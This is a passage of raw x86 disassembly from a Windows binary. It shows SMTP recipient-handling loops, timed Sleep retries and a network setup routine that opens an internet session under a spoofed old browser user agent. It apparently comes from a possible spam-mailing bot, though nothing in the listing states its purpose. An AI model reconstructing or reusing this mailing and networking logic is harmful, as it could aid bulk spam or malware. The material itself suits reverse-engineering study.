ecx, [ebp-0Ch] mov [esi+54h], eax mov al, [edi+58h] mov [esi+58h], al mov al, [edi+59h] mov [esi+59h], al mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_40772B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407784 proc near ; DATA XREF: .vty:0041EB68o var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = byte ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_14 = dword ptr -14h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp and esp, 0FFFFFFF8h push 0FFFFFFFFh push offset SEH_407C9A mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 88h push ebx push esi xor esi, esi mov ebx, ecx push edi mov [esp+0A0h+var_90], ebx mov [esp+0A0h+var_70], esi mov [esp+0A0h+var_6C], esi mov [esp+0A0h+var_68], esi push 0Fh pop edi mov [esp+0A0h+var_4], esi push esi lea ecx, [esp+0A4h+var_2C] mov [esp+0A4h+var_14], edi call sub_401564 push esi lea ecx, [esp+0A4h+var_48] mov [esp+0A4h+var_30], edi call sub_401564 push esi lea ecx, [esp+0A4h+var_64] mov [esp+0A4h+var_4C], edi call sub_401564 lea ecx, [esp+0A0h+var_8C] lea eax, [ebx+8] push ecx push eax mov [esp+0A8h+var_88], eax lea eax, [esp+0A8h+var_74] mov byte ptr [esp+0A8h+var_4], 3 mov edi, [ebx+4] push eax call sub_4027E7 test eax, eax jle loc_4078F4 lea eax, [esp+0A0h+var_74] mov [esp+0A0h+var_7C], eax loc_407825: ; CODE XREF: sub_407784+168j mov ecx, [ebx+4] lea eax, [esp+0A0h+var_48] push eax lea eax, [esp+0A4h+var_64] push eax lea eax, [esp+0A8h+var_2C] push eax lea eax, [esp+0ACh+var_74] push eax call sub_402979 lea eax, [esp+0A0h+var_64] push eax lea eax, [esp+0A4h+var_48] push eax lea eax, [esp+0A8h+var_2C] push eax lea eax, [esp+0ACh+var_74] push eax push ebx call sub_407949 mov esi, [esp+0A0h+var_70] cmp esi, [esp+0A0h+var_6C] jbe short loc_40786A call sub_40DCFC loc_40786A: ; CODE XREF: sub_407784+DFj lea eax, [esp+0A0h+var_74] mov [esp+0A0h+var_84], eax mov [esp+0A0h+var_80], esi loc_407876: ; CODE XREF: sub_407784+12Ej mov esi, [esp+0A0h+var_6C] cmp [esp+0A0h+var_70], esi jbe short loc_407885 call sub_40DCFC loc_407885: ; CODE XREF: sub_407784+FAj mov [esp+0A0h+var_78], esi lea edi, [esp+0A0h+var_7C] lea esi, [esp+0A0h+var_84] call sub_407BB6 test al, al jz short loc_4078B4 call sub_409835 mov ecx, [esp+0A0h+var_90] push dword ptr [ecx+4] mov edi, [eax] call sub_402BCF call sub_407BD3 jmp short loc_407876 ; --------------------------------------------------------------------------- loc_4078B4: ; CODE XREF: sub_407784+114j lea ebx, [esp+0A0h+var_74] call sub_407B46 mov eax, [esp+0A0h+var_8C] imul eax, 3E8h push eax call dword_41C090 ; Sleep lea eax, [esp+0A0h+var_8C] push eax push [esp+0A4h+var_88] mov eax, ebx push eax mov eax, [esp+0ACh+var_90] mov edi, [eax+4] call sub_4027E7 test eax, eax mov ebx, [esp+0A0h+var_90] jg loc_407825 xor esi, esi loc_4078F4: ; CODE XREF: sub_407784+93j mov eax, [esp+0A0h+var_88] mov ebx, [ebx+4] call sub_40290F push esi push 1 lea ecx, [esp+0A8h+var_64] call sub_4013C4 push esi push 1 lea ecx, [esp+0A8h+var_48] call sub_4013C4 push esi push 1 lea ecx, [esp+0A8h+var_2C] call sub_4013C4 cmp [esp+0A0h+var_70], esi jz short loc_407934 push [esp+0A0h+var_70] call sub_40DD8A pop ecx loc_407934: ; CODE XREF: sub_407784+1A4j mov ecx, [esp+0A0h+var_C] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_407784 endp ; =============== S U B R O U T I N E ======================================= sub_407949 proc near ; CODE XREF: sub_407784+D2p mov eax, offset loc_41B1FD call sub_41AE44 sub esp, 6Ch or dword ptr [ebp-74h], 0FFFFFFFFh push ebx push esi push edi lea esi, [ebp-70h] call sub_4012E2 mov edi, [ebp+8] xor ebx, ebx add edi, 10h lea eax, [ebp-74h] mov [ebp-4], ebx call sub_40CCCC mov esi, eax call sub_40D211 test al, al jnz short loc_407997 loc_407983: ; CODE XREF: sub_407949+62j ; sub_407949+79j ... push esi loc_407984: ; CODE XREF: sub_407949+185j mov ebx, [ebp+0Ch] lea eax, [ebp-70h] push eax call sub_408078 loc_407990: ; CODE XREF: sub_407949+1A2j pop ecx pop ecx jmp loc_407B12 ; --------------------------------------------------------------------------- loc_407997: ; CODE XREF: sub_407949+38j push dword ptr [ebp+14h] lea ecx, [ebp-74h] call sub_40CDF4 mov esi, eax call sub_40D211 test al, al jz short loc_407983 push dword ptr [ebp+18h] lea eax, [ebp-74h] push eax call sub_40CF4A mov esi, eax call sub_40D211 test al, al jz short loc_407983 mov esi, [ebp+0Ch] mov edi, [esi+4] cmp edi, [esi+8] mov [ebp+14h], ebx jbe short loc_4079D7 call sub_40DCFC loc_4079D7: ; CODE XREF: sub_407949+87j mov [ebp-14h], esi mov [ebp-10h], edi mov [ebp-1Ch], esi loc_4079E0: ; CODE XREF: sub_407949+176j mov edi, [esi+8] cmp [esi+4], edi jbe short loc_4079ED call sub_40DCFC loc_4079ED: ; CODE XREF: sub_407949+9Dj mov [ebp-18h], edi lea edi, [ebp-1Ch] lea esi, [ebp-14h] call sub_407BB6 test al, al jz loc_407AD3 call sub_409835 push dword ptr [eax] lea eax, [ebp-54h] push eax call sub_407BF3 pop ecx pop ecx mov edi, eax mov esi, [ebp+8] add esi, 8 mov byte ptr [ebp-4], 1 call sub_406402 push eax lea eax, [ebp-38h] push edi push eax call sub_407C46 add esp, 0Ch mov edi, eax lea esi, [ebp-14h] mov byte ptr [ebp-4], 2 call sub_409835 mov esi, eax push edi lea eax, [ebp-74h] push eax call sub_40CFFD mov ecx, [esi] push ebx mov [ecx+54h], eax push 1 lea ecx, [ebp-38h] call sub_4013C4 push ebx push 1 lea ecx, [ebp-54h] mov [ebp-4], bl call sub_4013C4 lea esi, [ebp-14h] call sub_409835 mov eax, [eax] cmp [eax+54h], ebx jl short loc_407AC4 call sub_409835 mov eax, [eax] mov eax, [eax+54h] call sub_40D211 test al, al jz short loc_407A9E inc dword ptr [ebp+14h] call sub_409835 mov eax, [eax] mov byte ptr [eax+58h], 1 jmp short loc_407AB4 ; --------------------------------------------------------------------------- loc_407A9E: ; CODE XREF: sub_407949+143j call sub_409835 push 0FFFFFFFFh push ebx lea ecx, [ebp-70h] push ecx mov ecx, [eax] add ecx, 38h call sub_401315 loc_407AB4: ; CODE XREF: sub_407949+153j lea esi, [ebp-14h] call sub_407BD3 mov esi, [ebp+0Ch] jmp loc_4079E0 ; --------------------------------------------------------------------------- loc_407AC4: ; CODE XREF: sub_407949+130j call sub_409835 mov eax, [eax] push dword ptr [eax+54h] jmp loc_407984 ; --------------------------------------------------------------------------- loc_407AD3: ; CODE XREF: sub_407949+B4j cmp [ebp+14h], ebx jnz short loc_407AF0 push offset aNoRecipientsAc ; "No recipients accepted\n" call sub_4024A7 push eax push 4 pop ecx call sub_40195C jmp loc_407990 ; --------------------------------------------------------------------------- loc_407AF0: ; CODE XREF: sub_407949+18Dj push dword ptr [ebp+10h] lea ecx, [ebp-74h] call sub_40D0B0 mov esi, eax call sub_40D211 test al, al jz loc_407983 lea ecx, [ebp-74h] call sub_40D183 loc_407B12: ; CODE XREF: sub_407949+49j lea eax, [ebp-74h] call sub_40CCB1 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 14h sub_407949 endp ; --------------------------------------------------------------------------- loc_407B2B: ; CODE XREF: .vty:0041B4D3j ; .vty:0041B585j mov eax, [esi+4] test eax, eax jz short loc_407B39 push eax call sub_40DD8A pop ecx loc_407B39: ; CODE XREF: .vty:00407B30j and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407B46 proc near ; CODE XREF: sub_407784+134p ; sub_407C9A+14Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push esi push edi mov edi, [ebx+8] cmp [ebx+4], edi mov [ebp+var_4], edi jbe short loc_407B5E call sub_40DCFC loc_407B5E: ; CODE XREF: sub_407B46+11j mov esi, [ebx+4] cmp esi, [ebx+8] mov [ebp+var_8], esi jbe short loc_407B6E call sub_40DCFC loc_407B6E: ; CODE XREF: sub_407B46+21j mov [ebp+var_C], edi mov [ebp+var_14], esi lea edi, [ebp+var_10] lea esi, [ebp+var_18] mov [ebp+var_10], ebx mov [ebp+var_18], ebx call sub_407BB6 test al, al jz short loc_407BB2 mov eax, [ebx+8] sub eax, [ebp+var_4] mov edx, [ebp+var_8] sar eax, 2 mov ecx, eax shl ecx, 2 test eax, eax lea esi, [ecx+edx] jle short loc_407BAF push ecx push [ebp+var_4] push ecx push edx call sub_40D807 add esp, 10h loc_407BAF: ; CODE XREF: sub_407B46+59j mov [ebx+8], esi loc_407BB2: ; CODE XREF: sub_407B46+41j pop edi pop esi leave retn sub_407B46 endp ; =============== S U B R O U T I N E ======================================= sub_407BB6 proc near ; CODE XREF: sub_407784+10Dp ; sub_407949+ADp ... mov eax, [esi] test eax, eax jz short loc_407BC0 cmp eax, [edi] jz short loc_407BC5 loc_407BC0: ; CODE XREF: sub_407BB6+4j call sub_40DCFC loc_407BC5: ; CODE XREF: sub_407BB6+8j mov eax, [esi+4] xor ecx, ecx cmp eax, [edi+4] setnz cl mov al, cl retn sub_407BB6 endp ; =============== S U B R O U T I N E ======================================= sub_407BD3 proc near ; CODE XREF: sub_407784+129p ; sub_407949+16Ep ... cmp dword ptr [esi], 0 jnz short loc_407BDD call sub_40DCFC loc_407BDD: ; CODE XREF: sub_407BD3+3j mov eax, [esi] mov ecx, [esi+4] cmp ecx, [eax+8] jb short loc_407BEC call sub_40DCFC loc_407BEC: ; CODE XREF: sub_407BD3+12j add dword ptr [esi+4], 4 mov eax, esi retn sub_407BD3 endp ; =============== S U B R O U T I N E ======================================= sub_407BF3 proc near ; CODE XREF: sub_407949+C5p ; sub_407E77+E4p mov eax, offset loc_41AFA6 call sub_41AE44 sub esp, 20h and dword ptr [ebp-10h], 0 push ebx push esi push dword ptr [ebp+0Ch] lea ecx, [ebp-2Ch] call sub_401C1E and dword ptr [ebp-4], 0 xor ebx, ebx push 40h inc ebx mov esi, eax call sub_40140F mov ecx, [ebp+8] push eax call sub_401C1E push 0 push ebx lea ecx, [ebp-2Ch] call sub_4013C4 mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop esi pop ebx mov large fs:0, ecx leave retn sub_407BF3 endp ; =============== S U B R O U T I N E ======================================= sub_407C46 proc near ; CODE XREF: sub_407949+E3p ; sub_407E77+102p mov eax, offset loc_41AFA6 call sub_41AE44 sub esp, 20h and dword ptr [ebp-10h], 0 push esi push dword ptr [ebp+0Ch] lea ecx, [ebp-2Ch] call sub_401C1E mov esi, eax mov eax, [ebp+10h] and dword ptr [ebp-4], 0 push 0FFFFFFFFh push 0 call sub_401F95 mov ecx, [ebp+8] push eax call sub_401C1E push 0 push 1 lea ecx, [ebp-2Ch] call sub_4013C4 mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop esi mov large fs:0, ecx leave retn sub_407C46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407C9A proc near ; DATA XREF: .vty:0041EB74o var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = byte ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_14 = dword ptr -14h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp and esp, 0FFFFFFF8h push 0FFFFFFFFh push offset SEH_407C9A mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 88h push ebx push esi xor ebx, ebx mov esi, ecx push edi mov [esp+0A0h+var_90], esi mov [esp+0A0h+var_70], ebx mov [esp+0A0h+var_6C], ebx mov [esp+0A0h+var_68], ebx push 0Fh pop edi mov [esp+0A0h+var_4], ebx push ebx lea ecx, [esp+0A4h+var_2C] mov [esp+0A4h+var_14], edi call sub_401564 push ebx lea ecx, [esp+0A4h+var_48] mov [esp+0A4h+var_30], edi call sub_401564 push ebx lea ecx, [esp+0A4h+var_64] mov [esp+0A4h+var_4C], edi call sub_401564 lea ecx, [esp+0A0h+var_8C] lea eax, [esi+8] push ecx push eax mov [esp+0A8h+var_88], eax lea eax, [esp+0A8h+var_74] mov byte ptr [esp+0A8h+var_4], 3 mov edi, [esi+4] push eax call sub_4027E7 test eax, eax jle loc_407E20 lea eax, [esp+0A0h+var_74] mov [esp+0A0h+var_7C], eax jmp short loc_407D3F ; --------------------------------------------------------------------------- loc_407D3D: ; CODE XREF: sub_407C9A+180j xor ebx, ebx loc_407D3F: ; CODE XREF: sub_407C9A+A1j mov ecx, [esi+4] lea eax, [esp+0A0h+var_48] push eax lea eax, [esp+0A4h+var_64] push eax lea eax, [esp+0A8h+var_2C] push eax lea eax, [esp+0ACh+var_74] push eax call sub_402979 lea eax, [esp+0A0h+var_64] push eax lea eax, [esp+0A4h+var_48] push eax lea eax, [esp+0A8h+var_2C] push eax lea eax, [esp+0ACh+var_74] push eax push esi call sub_407E77 mov esi, [esp+0A0h+var_70] cmp esi, [esp+0A0h+var_6C] jbe short loc_407D84 call sub_40DCFC loc_407D84: ; CODE XREF: sub_407C9A+E3j lea eax, [esp+0A0h+var_74] mov [esp+0A0h+var_84], eax mov [esp+0A0h+var_80], esi loc_407D90: ; CODE XREF: sub_407C9A+146j mov esi, [esp+0A0h+var_6C] cmp [esp+0A0h+var_70], esi jbe short loc_407D9F call sub_40DCFC loc_407D9F: ; CODE XREF: sub_407C9A+FEj mov [esp+0A0h+var_78], esi lea edi, [esp+0A0h+var_7C] lea esi, [esp+0A0h+var_84] call sub_407BB6 test al, al jz short loc_407DE2 call sub_409835 mov eax, [eax] cmp [eax+58h], bl jz short loc_407DCD call sub_409835 mov eax, [eax] mov byte ptr [eax+59h], 3 jmp short loc_407DD7 ; --------------------------------------------------------------------------- loc_407DCD: ; CODE XREF: sub_407C9A+124j call sub_409835 mov eax, [eax] mov [eax+59h], bl loc_407DD7: ; CODE XREF: sub_407C9A+131j lea esi, [esp+0A0h+var_84] call sub_407BD3 jmp short loc_407D90 ; --------------------------------------------------------------------------- loc_407DE2: ; CODE XREF: sub_407C9A+118j lea ebx, [esp+0A0h+var_74] call sub_407B46 mov eax, [esp+0A0h+var_8C] imul eax, 3E8h push eax call dword_41C090 ; Sleep lea eax, [esp+0A0h+var_8C] push eax push [esp+0A4h+var_88] mov eax, ebx push eax mov eax, [esp+0ACh+var_90] mov edi, [eax+4] call sub_4027E7 test eax, eax mov esi, [esp+0A0h+var_90] jg loc_407D3D loc_407E20: ; CODE XREF: sub_407C9A+93j mov eax, [esp+0A0h+var_88] mov ebx, [esi+4] call sub_40290F xor esi, esi push esi push 1 lea ecx, [esp+0A8h+var_64] call sub_4013C4 push esi push 1 lea ecx, [esp+0A8h+var_48] call sub_4013C4 push esi push 1 lea ecx, [esp+0A8h+var_2C] call sub_4013C4 cmp [esp+0A0h+var_70], esi jz short loc_407E62 push [esp+0A0h+var_70] call sub_40DD8A pop ecx loc_407E62: ; CODE XREF: sub_407C9A+1BCj mov ecx, [esp+0A0h+var_C] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_407C9A endp ; =============== S U B R O U T I N E ======================================= sub_407E77 proc near ; CODE XREF: sub_407C9A+D6p mov eax, offset loc_41B1DB call sub_41AE44 sub esp, 6Ch or dword ptr [ebp-74h], 0FFFFFFFFh push ebx push esi push edi lea esi, [ebp-70h] call sub_4012E2 lea eax, [ebp-38h] push eax mov eax, [ebp+8] xor ebx, ebx mov [ebp-4], ebx mov eax, [eax+4] call sub_4027B2 mov edi, eax lea eax, [ebp-74h] mov byte ptr [ebp-4], 1 call sub_40CCCC push ebx push 1 lea ecx, [ebp-38h] mov esi, eax mov [ebp-4], bl call sub_4013C4 mov eax, esi call sub_40D211 test al, al jnz short loc_407EE4 loc_407ED0: ; CODE XREF: sub_407E77+81j ; sub_407E77+98j ... push esi loc_407ED1: ; CODE XREF: sub_407E77+1A4j mov ebx, [ebp+0Ch] lea eax, [ebp-70h] push eax call sub_408078 loc_407EDD: ; CODE XREF: sub_407E77+1C1j pop ecx pop ecx jmp loc_40805F ; --------------------------------------------------------------------------- loc_407EE4: ; CODE XREF: sub_407E77+57j push dword ptr [ebp+14h] lea ecx, [ebp-74h] call sub_40CDF4 mov esi, eax call sub_40D211 test al, al jz short loc_407ED0 push dword ptr [ebp+18h] lea eax, [ebp-74h] push eax call sub_40CF4A mov esi, eax call sub_40D211 test al, al jz short loc_407ED0 mov esi, [ebp+0Ch] mov edi, [esi+4] cmp edi, [esi+8] mov [ebp+14h], ebx jbe short loc_407F24 call sub_40DCFC loc_407F24: ; CODE XREF: sub_407E77+A6j mov [ebp-14h], esi mov [ebp-10h], edi mov [ebp-1Ch], esi loc_407F2D: ; CODE XREF: sub_407E77+195j mov edi, [esi+8] cmp [esi+4], edi jbe short loc_407F3A call sub_40DCFC loc_407F3A: ; CODE XREF: sub_407E77+BCj mov [ebp-18h], edi lea edi, [ebp-1Ch] lea esi, [ebp-14h] call sub_407BB6 test al, al jz loc_408020 call sub_409835 push dword ptr [eax] lea eax, [ebp-54h] push eax call sub_407BF3 pop ecx pop ecx mov edi, eax mov esi, [ebp+8] add esi, 8 mov byte ptr [ebp-4], 2 call sub_406402 push eax lea eax, [ebp-38h] push edi push eax call sub_407C46 add esp, 0Ch mov edi, eax lea esi, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_409835 mov esi, eax push edi lea eax, [ebp-74h] push eax call sub_40CFFD mov ecx, [esi] push ebx mov [ecx+54h], eax push 1 lea ecx, [ebp-38h] call sub_4013C4 push ebx push 1 lea ecx, [ebp-54h] mov [ebp-4], bl call sub_4013C4 lea esi, [ebp-14h] call sub_409835 mov eax, [eax] cmp [eax+54h], ebx jl short loc_408011 call sub_409835 mov eax, [eax] mov eax, [eax+54h] call sub_40D211 test al, al jz short loc_407FEB inc dword ptr [ebp+14h] call sub_409835 mov eax, [eax] mov byte ptr [eax+58h], 1 jmp short loc_408001 ; --------------------------------------------------------------------------- loc_407FEB: ; CODE XREF: sub_407E77+162j call sub_409835 push 0FFFFFFFFh push ebx lea ecx, [ebp-70h] push ecx mov ecx, [eax] add ecx, 38h call sub_401315 loc_408001: ; CODE XREF: sub_407E77+172j lea esi, [ebp-14h] call sub_407BD3 mov esi, [ebp+0Ch] jmp loc_407F2D ; --------------------------------------------------------------------------- loc_408011: ; CODE XREF: sub_407E77+14Fj call sub_409835 mov eax, [eax] push dword ptr [eax+54h] jmp loc_407ED1 ; --------------------------------------------------------------------------- loc_408020: ; CODE XREF: sub_407E77+D3j cmp [ebp+14h], ebx jnz short loc_40803D push offset aNoRecipientsAc ; "No recipients accepted\n" call sub_4024A7 push eax push 4 pop ecx call sub_40195C jmp loc_407EDD ; --------------------------------------------------------------------------- loc_40803D: ; CODE XREF: sub_407E77+1ACj push dword ptr [ebp+10h] lea ecx, [ebp-74h] call sub_40D0B0 mov esi, eax call sub_40D211 test al, al jz loc_407ED0 lea ecx, [ebp-74h] call sub_40D183 loc_40805F: ; CODE XREF: sub_407E77+68j lea eax, [ebp-74h] call sub_40CCB1 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 14h sub_407E77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408078 proc near ; CODE XREF: sub_407949+42p ; sub_407E77+61p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi mov esi, [ebx+4] cmp esi, [ebx+8] push edi jbe short loc_40808D call sub_40DCFC loc_40808D: ; CODE XREF: sub_408078+Ej mov [ebp+var_8], ebx mov [ebp+var_4], esi mov [ebp+var_10], ebx loc_408096: ; CODE XREF: sub_408078+70j mov esi, [ebx+8] cmp [ebx+4], esi jbe short loc_4080A3 call sub_40DCFC loc_4080A3: ; CODE XREF: sub_408078+24j mov [ebp+var_C], esi lea edi, [ebp+var_10] lea esi, [ebp+var_8] call sub_407BB6 test al, al jz short loc_4080EA call sub_409835 mov ecx, [eax] push 0FFFFFFFFh push 0 push [ebp+arg_0] add ecx, 38h call sub_401315 call sub_409835 mov eax, [eax] mov byte ptr [eax+58h], 0 call sub_409835 mov eax, [eax] mov ecx, [ebp+arg_4] mov [eax+54h], ecx call sub_407BD3 jmp short loc_408096 ; --------------------------------------------------------------------------- loc_4080EA: ; CODE XREF: sub_408078+3Bj pop edi pop esi leave retn sub_408078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4080EE proc near ; CODE XREF: sub_408170p var_190 = byte ptr -190h push ebp mov ebp, esp and esp, 0FFFFFFF8h sub esp, 190h lea eax, [esp+190h+var_190] push eax push 202h call dword_41C1F4 ; WSAStartup test eax, eax jnz short loc_40816A push eax push eax push eax push 1 push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_41C1D4 ; InternetOpenA test eax, eax mov dword_424E80, eax jnz short loc_408144 call dword_41C0A4 ; RtlGetLastWin32Error push eax push offset aInternetopenD ; "InternetOpen: (%d) %$\n" push 1 call sub_4024A7 push eax call sub_40196F add esp, 10h jmp short loc_40816A ; --------------------------------------------------------------------------- loc_408144: ; CODE XREF: sub_4080EE+36j push 0 call sub_40FDF8 pop ecx push eax call sub_40FA79 pop ecx call sub_402E1F ; --------------------------------------------------------------------------- push dword_424E80 call dword_41C1D0 ; InternetCloseHandle call dword_41C1F8 ; WSACleanup loc_40816A: ; CODE XREF: sub_4080EE+1Dj ; sub_4080EE+54j xor eax, eax mov esp, ebp pop ebp retn sub_4080EE endp ; =============== S U B R O U T I N E ======================================= sub_408170 proc near ; CODE XREF: sub_4107B2-6Ep call sub_4080EE xor eax, eax retn 10h sub_408170 endp ; =============== S U B R O U T I N E ======================================= sub_40817A proc near ; DATA XREF: .vty:0041FF6Co mov dword ptr [ecx], offset off_41C2B4 jmp sub_4018A5 sub_40817A endp ; --------------------------------------------------------------------------- loc_408185: ; DATA XREF: .vty:off_41C2B4o push esi mov esi, ecx mov dword ptr [esi], offset off_41C2B4 call sub_4018A5 test byte ptr [esp+8], 1 jz short loc_4081A1 push esi call sub_40DD8A pop ecx loc_4081A1: ; CODE XREF: .vty:00408198j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- push esi push dword ptr [esp+8] mov esi, ecx call sub_401919 mov dword ptr [esi], offset off_41C2B4 mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4081BF proc near ; CODE XREF: sub_4033DA+2FEp mov eax, offset loc_41B578 call sub_41AE44 sub esp, 0D0h push ebx push esi push edi xor esi, esi push esi lea ecx, [ebp-30h] mov dword ptr [ebp-18h], 0Fh call sub_401564 mov [ebp-4], esi push dword ptr [ebp+0Ch] lea eax, [ebp-70h] push eax call sub_409441 pop ecx pop ecx mov ebx, [ebp+8] mov byte ptr [ebp-4], 1 mov [ebp+0Ch], esi mov esi, ebx call sub_406FAF lea esi, [ebx+10h] mov [ebp-14h], esi call sub_406FEC jmp loc_4083AD ; --------------------------------------------------------------------------- loc_408216: ; CODE XREF: sub_4081BF+202j push offset a_ ; "." lea esi, [ebp-30h] call sub_406A6D test al, al pop ecx jnz loc_4083C7 cmp dword ptr [ebp-1Ch], 0 jz loc_4083AD xor edi, edi mov eax, esi call sub_4012F5 cmp byte ptr [eax], 24h jnz loc_4083AD push edi lea ecx, [ebp-54h] mov dword ptr [ebp-3Ch], 0Fh call sub_401564 inc edi mov byte ptr [ebp-4], 2 cmp [ebp-1Ch], edi jbe short loc_4082C7 loc_408262: ; CODE XREF: sub_4081BF+E8j lea eax, [ebp-30h] call sub_4012F5 movsx eax, byte ptr [eax] push eax call sub_410004 test eax, eax pop ecx jnz short loc_408285 lea eax, [ebp-30h] call sub_4012F5 cmp byte ptr [eax], 5Fh jnz short loc_4082C2 loc_408285: ; CODE XREF: sub_4081BF+B7j lea eax, [ebp-30h] call sub_4012F5 mov al, [eax] mov [ebp-34h], al push dword ptr [ebp-34h] xor ebx, ebx inc ebx lea esi, [ebp-54h] call sub_40140F mov ebx, [ebp+8] inc edi cmp edi, [ebp-1Ch] jb short loc_408262 jmp short loc_4082C2 ; --------------------------------------------------------------------------- loc_4082AB: ; CODE XREF: sub_4081BF+106j lea eax, [ebp-30h] call sub_4012F5 movsx eax, byte ptr [eax] push eax call sub_40FF87 test eax, eax pop ecx jz short loc_4082C7 inc edi loc_4082C2: ; CODE XREF: sub_4081BF+C4j ; sub_4081BF+EAj cmp edi, [ebp-1Ch] jb short loc_4082AB loc_4082C7: ; CODE XREF: sub_4081BF+A1j ; sub_4081BF+100j lea eax, [ebp-30h] call sub_4012F5 cmp byte ptr [eax], 3Dh jnz loc_40839D push 0FFFFFFFFh inc edi push edi lea eax, [ebp-30h] push eax lea esi, [ebp-94h] call sub_405527 mov esi, eax lea eax, [ebp-54h] push eax lea ecx, [ebp-0DCh] mov byte ptr [ebp-4], 3 call sub_401C1E push esi lea ecx, [ebp-0C0h] mov byte ptr [ebp-4], 4 call sub_401C1E mov byte ptr [ebp-4], 5 mov esi, [ebx+4] test esi, esi jnz short loc_40831F xor edi, edi jmp short loc_40832C ; --------------------------------------------------------------------------- loc_40831F: ; CODE XREF: sub_4081BF+15Aj mov eax, [ebx+0Ch] sub eax, esi push 38h cdq pop ecx idiv ecx mov edi, eax loc_40832C: ; CODE XREF: sub_4081BF+15Ej mov eax, ebx call sub_40690A cmp eax, edi jnb short loc_40834D lea eax, [ebp-0DCh] push eax push 1 push dword ptr [ebx+8] call sub_40993D mov [ebx+8], eax jmp short loc_40836D ; --------------------------------------------------------------------------- loc_40834D: ; CODE XREF: sub_4081BF+176j mov edi, [ebx+8] cmp esi, edi jbe short loc_408359 call sub_40DCFC loc_408359: ; CODE XREF: sub_4081BF+193j push edi push ebx lea eax, [ebp-0DCh] push eax lea eax, [ebp-78h] push eax mov eax, ebx call sub_4098BA loc_40836D: ; CODE XREF: sub_4081BF+18Cj xor esi, esi xor edi, edi push esi inc edi push edi lea ecx, [ebp-0C0h] call sub_4013C4 push esi push edi lea ecx, [ebp-0DCh] call sub_4013C4 push esi push edi lea ecx, [ebp-94h] call sub_4013C4 push esi push edi jmp short loc_4083A1 ; --------------------------------------------------------------------------- loc_40839D: ; CODE XREF: sub_4081BF+113j push 0 push 1 loc_4083A1: ; CODE XREF: sub_4081BF+1DCj lea ecx, [ebp-54h] mov byte ptr [ebp-4], 1 call sub_4013C4 loc_4083AD: ; CODE XREF: sub_4081BF+52j ; sub_4081BF+71j ... lea eax, [ebp-70h] push eax lea eax, [ebp-30h] push eax lea edi, [ebp+0Ch] call sub_4093C0 test al, al pop ecx pop ecx jnz loc_408216 loc_4083C7: ; CODE XREF: sub_4081BF+67j mov esi, [ebp+0Ch] cmp esi, 0FFFFFFFFh jz loc_408550 push esi push offset a__0 ; "\r\n.\r\n" lea eax, [ebp-70h] push eax call sub_401C81 mov edi, eax sub eax, esi push eax push esi lea eax, [ebp-70h] push eax lea esi, [ebp-94h] call sub_405527 push 0FFFFFFFFh push 0 push eax lea ecx, [ebx+20h] mov byte ptr [ebp-4], 6 call sub_401315 push 0 push 1 mov ecx, esi mov byte ptr [ebp-4], 1 call sub_4013C4 cmp edi, 0FFFFFFFFh mov [ebp+0Ch], edi jz loc_408550 add edi, 5 mov [ebp+0Ch], edi jmp loc_408550 ; --------------------------------------------------------------------------- loc_40842E: ; CODE XREF: sub_4081BF+3A5j xor eax, eax mov [ebp-44h], eax mov [ebp-40h], eax mov [ebp-3Ch], eax lea eax, [ebp-30h] push eax lea ecx, [ebp-0A4h] mov byte ptr [ebp-4], 7 call sub_401C1E lea eax, [ebp-88h] push eax lea ecx, [ebp-48h] mov byte ptr [ebp-4], 8 call sub_4075BC mov esi, [ebp-14h] mov byte ptr [ebp-4], 9 mov ebx, [esi+4] test ebx, ebx jnz short loc_408471 xor edi, edi jmp short loc_40847E ; --------------------------------------------------------------------------- loc_408471: ; CODE XREF: sub_4081BF+2ACj mov eax, [esi+0Ch] sub eax, ebx push 2Ch cdq pop ecx idiv ecx mov edi, eax loc_40847E: ; CODE XREF: sub_4081BF+2B0j mov eax, esi call sub_406949 cmp eax, edi jnb short loc_40849F lea eax, [ebp-0A4h] push eax push 1 push dword ptr [esi+8] call sub_4099EC mov [esi+8], eax jmp short loc_4084BC ; --------------------------------------------------------------------------- loc_40849F: ; CODE 